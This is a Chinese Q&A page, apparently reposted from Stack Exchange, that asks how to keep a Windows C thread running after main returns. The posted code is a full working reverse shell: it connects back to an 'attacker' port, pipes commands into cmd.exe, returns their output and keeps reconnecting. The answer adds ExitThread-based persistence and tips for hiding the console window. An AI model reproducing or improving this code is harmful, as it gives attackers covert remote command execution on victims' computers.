You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows平台下C语言如何让主线程结束后子线程持续运行?

问题描述

我正在开发一个Windows平台的C项目,需要创建一个独立于main函数的线程,目标是确保该线程在main函数执行完成后仍能保持活跃。

核心代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

void start_shell_process(SOCKET sockfd);

DWORD WINAPI connect_back(LPVOID lpParam) {
    WSADATA wsa;
    SOCKET sockfd;
    struct sockaddr_in servaddr;

    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed to initialize Winsock. Error Code: %d\n", WSAGetLastError());
        return 1;
    }

    // Initialize socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == INVALID_SOCKET) {
        printf("Socket creation failed. Error Code: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    // Set up server address
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Use localhost for testing
    servaddr.sin_port = htons(4444); // Port should match the attacker's listening port

    // Connect to the server
    while (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
        printf("Connection with the server failed. Retrying... Error Code: %d\n", WSAGetLastError());
        Sleep(5000); // Retry after 5 seconds
    }

    printf("Connection established with the server.\n");
    // Start the initial shell process
    start_shell_process(sockfd);

    closesocket(sockfd);
    WSACleanup();
    return 0;
}

void start_shell_process(SOCKET sockfd) {
    // Create a pipe for the child process's STDOUT.
    HANDLE g_hChildStd_OUT_Rd = NULL;
    HANDLE g_hChildStd_OUT_Wr = NULL;
    SECURITY_ATTRIBUTES saAttr;
    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;
    if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) {
        printf("Stdout pipe creation failed.\n");
        return;
    }
    if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) {
        printf("Stdout pipe SetHandleInformation failed.\n");
        return;
    }

    // Create a pipe for the child process's STDIN.
    HANDLE g_hChildStd_IN_Rd = NULL;
    HANDLE g_hChildStd_IN_Wr = NULL;
    if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) {
        printf("Stdin pipe creation failed.\n");
        return;
    }
    if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) {
        printf("Stdin pipe SetHandleInformation failed.\n");
        return;
    }

    // Create the child process.
    PROCESS_INFORMATION piProcInfo;
    STARTUPINFO siStartInfo;
    ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
    siStartInfo.cb = sizeof(STARTUPINFO);
    siStartInfo.hStdError = g_hChildStd_OUT_Wr;
    siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
    siStartInfo.hStdInput = g_hChildStd_IN_Rd;
    siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

    // Create the shell process
    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &siStartInfo, &piProcInfo)) {
        printf("CreateProcess failed. Error Code: %d\n", GetLastError());
        return;
    }

    // Close handles to the stdin and stdout pipes no longer needed by the parent process.
    // If they are not explicitly closed, there is no way to recognize that the child process has ended.
    CloseHandle(g_hChildStd_OUT_Wr);
    CloseHandle(g_hChildStd_IN_Rd);

    char buffer[1024];
    DWORD bytesRead, bytesAvailable, bytesWritten;

    // Clear the initial output from the shell process
    while (1) {
        if (!PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0) {
            Sleep(50); // Briefly wait for data to become available
            continue;
        }

        if (!ReadFile(g_hChildStd_OUT_Rd, buffer, sizeof(buffer) - 1, &bytesRead, NULL) || bytesRead == 0)
            break;
        buffer[bytesRead] = '\0';
        if (bytesRead < sizeof(buffer) - 1)
            break;
    }

    while (1) {
        // Receive command from attacker
        int bytes_received = recv(sockfd, buffer, sizeof(buffer) - 1, 0);
        if (bytes_received <= 0) {
            printf("Connection closed by attacker. Retrying...\n");
            Sleep(5000); // Retry after 5 seconds
            connect_back(NULL); // Reconnect
            return;
        }

        buffer[bytes_received] = '\0';

        // Strip trailing newline and carriage return characters
        buffer[strcspn(buffer, "\r\n")] = '\0';

        // Check for the special command to start a new shell process
        if (strcmp(buffer, "new") == 0) {
            // Send a message back to the attacker
            const char* new_shell_msg = "new shell initiated\n";
            send(sockfd, new_shell_msg, strlen(new_shell_msg), 0);

            // Clean up the current shell process before starting a new one
            TerminateProcess(piProcInfo.hProcess, 0);
            CloseHandle(piProcInfo.hProcess);
            CloseHandle(piProcInfo.hThread);

            // Send end of output indicator before starting new shell
            const char* end_marker = "[END_OF_OUTPUT]";
            send(sockfd, end_marker, strlen(end_marker), 0);

            start_shell_process(sockfd);
            return;
        }

        // Write command to child's STDIN
        WriteFile(g_hChildStd_IN_Wr, buffer, bytes_received, &bytesWritten, NULL);
        WriteFile(g_hChildStd_IN_Wr, "\n", 1, &bytesWritten, NULL);

        // Read from child's STDOUT
        while (1) {
            if (!PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0) {
                Sleep(50); // Briefly wait for data to become available
                continue;
            }

            if (!ReadFile(g_hChildStd_OUT_Rd, buffer, sizeof(buffer) - 1, &bytesRead, NULL) || bytesRead == 0)
                break;
            buffer[bytesRead] = '\0';
            send(sockfd, buffer, bytesRead, 0);
            if (bytesRead < sizeof(buffer) - 1)
                break;
        }

        // Send end of output indicator
        const char* end_marker = "[END_OF_OUTPUT]";
        send(sockfd, end_marker, strlen(end_marker), 0);
    }

    // Clean up
    CloseHandle(piProcInfo.hProcess);
    CloseHandle(piProcInfo.hThread);
    CloseHandle(g_hChildStd_OUT_Rd);
    CloseHandle(g_hChildStd_IN_Wr);
}

int main() {
    // Create a new thread for the connect_back function
    HANDLE thread = CreateThread(NULL, 0, connect_back, NULL, 0, NULL);
    if (thread) {
        // Detach the thread to ensure it runs independently
        CloseHandle(thread);
    } else {
        printf("Failed to create thread.\n");
    }

    // Main program ends here, but the thread continues to run
    return 0;
}

已尝试方案

  • 创建线程:使用CreateThread启动connect_back函数所在的独立线程。
  • 分离线程:调用CloseHandle关闭线程句柄以实现分离。

当前问题

线程似乎在main函数结束后立即退出,需要该线程独立于main函数的生命周期持续运行。查阅类似问题的解决方案,但pthread_exit并不适用于Windows环境。


解决方案

问题根源

Windows平台下,当main函数执行return时,C运行时会自动调用ExitProcess函数,直接终止整个进程,进程内所有线程都会被强制结束,无论线程是否还在运行。调用CloseHandle只是释放线程句柄,并不会改变线程的生命周期,因此无法阻止进程终止导致的线程退出。

实现方法

让主线程通过ExitThread函数终止自身,而非使用return。ExitThread只会终止当前线程(主线程),进程会继续存在,直到所有其他线程都执行完毕。

修改后的main函数代码:

int main() {
    HANDLE thread = CreateThread(NULL, 0, connect_back, NULL, 0, NULL);
    if (thread) {
        CloseHandle(thread);
    } else {
        printf("Failed to create thread.\n");
        // 创建失败时正常退出进程
        return 1;
    }

    // 终止主线程但不结束整个进程
    ExitThread(0);

    // 以下代码不会执行,仅为符合函数返回值要求保留
    return 0;
}

额外说明

如果是控制台程序,主线程终止后控制台窗口可能会自动关闭,但后台线程仍会继续运行。若需要隐藏控制台窗口或让程序完全后台运行,可以在创建进程时设置CREATE_NO_WINDOW标志,或者将程序编译为Windows应用程序(而非控制台应用程序)。


内容的提问来源于stack exchange,提问作者madeline

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.23 12:14:54